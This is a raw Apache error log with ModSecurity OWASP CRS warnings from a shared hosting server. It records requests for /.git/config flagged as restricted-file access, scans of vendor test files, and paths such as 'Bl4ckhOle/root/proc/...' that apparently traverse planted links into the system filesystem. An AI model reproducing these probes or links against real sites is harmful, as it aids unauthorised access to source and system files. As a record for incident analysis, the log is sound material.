[Fri Jul 17 10:33:33.708985 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Exception/ConstraintDefinitionException.php"] [unique_id "alm3pWG27nIfbW_ExyiJhwAAABM"]
[Fri Jul 17 10:33:35.688619 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:47694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:36.190882 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/Loader/IcuResFileLoaderTest.php"] [unique_id "alm3qJ-MjlCH45ePojRLZwAAABE"]
[Fri Jul 17 10:33:36.191370 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/Loader/IcuResFileLoaderTest.php"] [unique_id "alm3qJ-MjlCH45ePojRLZwAAABE"]
[Fri Jul 17 10:33:36.191786 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/Loader/IcuResFileLoaderTest.php"] [unique_id "alm3qJ-MjlCH45ePojRLZwAAABE"]
[Fri Jul 17 10:33:38.007315 2026] [ssl:error] [pid 2075908:tid 2075908] (5)Input/output error: [client 66.85.158.91:47758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:39.865319 2026] [security2:error] [pid 2075978:tid 2075978] [client 57.141.18.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory87/node0/memory114/subsystem/devices/memory70/"] [unique_id "alm3q2Fjrl6DCT-Pyn8V-QAAAAo"]
[Fri Jul 17 10:33:39.865356 2026] [security2:error] [pid 2075978:tid 2075978] [client 57.141.18.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory87/node0/memory114/subsystem/devices/memory70/"] [unique_id "alm3q2Fjrl6DCT-Pyn8V-QAAAAo"]
[Fri Jul 17 10:33:42.508767 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:42.516847 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:43.205776 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Mapping/Loader/constraint-mapping.yml"] [unique_id "alm3r_rJf6iLdwVV9Zl7sgAAABc"]
[Fri Jul 17 10:33:43.206144 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Mapping/Loader/constraint-mapping.yml"] [unique_id "alm3r_rJf6iLdwVV9Zl7sgAAABc"]
[Fri Jul 17 10:33:43.206459 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Mapping/Loader/constraint-mapping.yml"] [unique_id "alm3r_rJf6iLdwVV9Zl7sgAAABc"]
[Fri Jul 17 10:33:45.980099 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:46.007060 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:48.179559 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:48.282713 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:48.824561 2026] [core:crit] [pid 2075705:tid 2075705] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/dnf/universal-hooks/pkgs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/dnf/universal-hooks/pkgs/' is executable
[Fri Jul 17 10:33:48.835784 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:48.862426 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:48.863978 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:49.349543 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:52836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:54.372097 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm3ucwb7ueECO0vce5umAAAAA8"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1072&page_105=2107
[Fri Jul 17 10:33:54.372142 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm3ucwb7ueECO0vce5umAAAAA8"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1072&page_105=2107
[Fri Jul 17 10:33:55.162897 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:36600] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:57.370625 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:36704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:59.352395 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Constraints/Email.php"] [unique_id "alm3vx0C3r-GF3RTNAbUzwAAAAY"]
[Fri Jul 17 10:33:59.352767 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Constraints/Email.php"] [unique_id "alm3vx0C3r-GF3RTNAbUzwAAAAY"]
[Fri Jul 17 10:33:59.353078 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Constraints/Email.php"] [unique_id "alm3vx0C3r-GF3RTNAbUzwAAAAY"]
[Fri Jul 17 10:34:01.316981 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:01.336265 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:06.449133 2026] [security2:error] [pid 2076194:tid 2076194] [client 3.80.153.227:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm3xpT6UchYzP7t8WhNewAAABI"]
[Fri Jul 17 10:34:06.449269 2026] [security2:error] [pid 2076194:tid 2076194] [client 3.80.153.227:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm3xpT6UchYzP7t8WhNewAAABI"]
[Fri Jul 17 10:34:06.449533 2026] [security2:error] [pid 2076194:tid 2076194] [client 3.80.153.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm3xpT6UchYzP7t8WhNewAAABI"]
[Fri Jul 17 10:34:06.449841 2026] [security2:error] [pid 2076194:tid 2076194] [client 3.80.153.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "alm3xpT6UchYzP7t8WhNewAAABI"]
[Fri Jul 17 10:34:06.451592 2026] [security2:error] [pid 2075908:tid 2075908] [client 3.80.153.227:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm3xkj_u9-aE9qeQW0eqQAAAAk"]
[Fri Jul 17 10:34:06.451734 2026] [security2:error] [pid 2075908:tid 2075908] [client 3.80.153.227:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm3xkj_u9-aE9qeQW0eqQAAAAk"]
[Fri Jul 17 10:34:06.452619 2026] [security2:error] [pid 2075908:tid 2075908] [client 3.80.153.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm3xkj_u9-aE9qeQW0eqQAAAAk"]
[Fri Jul 17 10:34:06.669086 2026] [security2:error] [pid 2075908:tid 2075908] [client 3.80.153.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm3xkj_u9-aE9qeQW0eqQAAAAk"]
[Fri Jul 17 10:34:06.869654 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:06.873154 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:07.012498 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3x8wb7ueECO0vce5ungAAAA8"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:34:07.012529 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3x8wb7ueECO0vce5ungAAAA8"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:34:10.675873 2026] [ssl:error] [pid 2081373:tid 2081373] (70014)End of file found: [client 66.85.158.91:52550] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:12.853719 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:12.866371 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:14.498192 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/tests/unit/DiscountTest.php"] [unique_id "alm3zswb7ueECO0vce5uoQAAAA8"]
[Fri Jul 17 10:34:14.498770 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/tests/unit/DiscountTest.php"] [unique_id "alm3zswb7ueECO0vce5uoQAAAA8"]
[Fri Jul 17 10:34:14.499310 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/tests/unit/DiscountTest.php"] [unique_id "alm3zswb7ueECO0vce5uoQAAAA8"]
[Fri Jul 17 10:34:14.512473 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:14.574553 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:14.636189 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:14.689208 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:14.789164 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:14.890106 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:15.098273 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/button/uevent
[Fri Jul 17 10:34:15.098541 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:15.177867 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:15.324913 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:15.410889 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:15.926814 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:15.926831 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:18.953702 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:34322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:20.236617 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 57.141.18.35:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory68/subsystem/devices/memory13/subsystem/devices/memory133/node0/memory6/subsystem/uevent
[Fri Jul 17 10:34:28.685831 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/react/promise/tests/fixtures/SimpleFulfilledTestPromise.php"] [unique_id "alm33PrJf6iLdwVV9Zl7xQAAABc"]
[Fri Jul 17 10:34:28.686223 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/react/promise/tests/fixtures/SimpleFulfilledTestPromise.php"] [unique_id "alm33PrJf6iLdwVV9Zl7xQAAABc"]
[Fri Jul 17 10:34:28.686548 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/react/promise/tests/fixtures/SimpleFulfilledTestPromise.php"] [unique_id "alm33PrJf6iLdwVV9Zl7xQAAABc"]
[Fri Jul 17 10:34:33.795092 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:35.411565 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:37.137522 2026] [cgi:error] [pid 2075690:tid 2075690] [client 43.173.177.11:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 10:34:37.137591 2026] [cgi:error] [pid 2075690:tid 2075690] [client 43.173.177.11:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 10:34:37.959467 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:40.486134 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
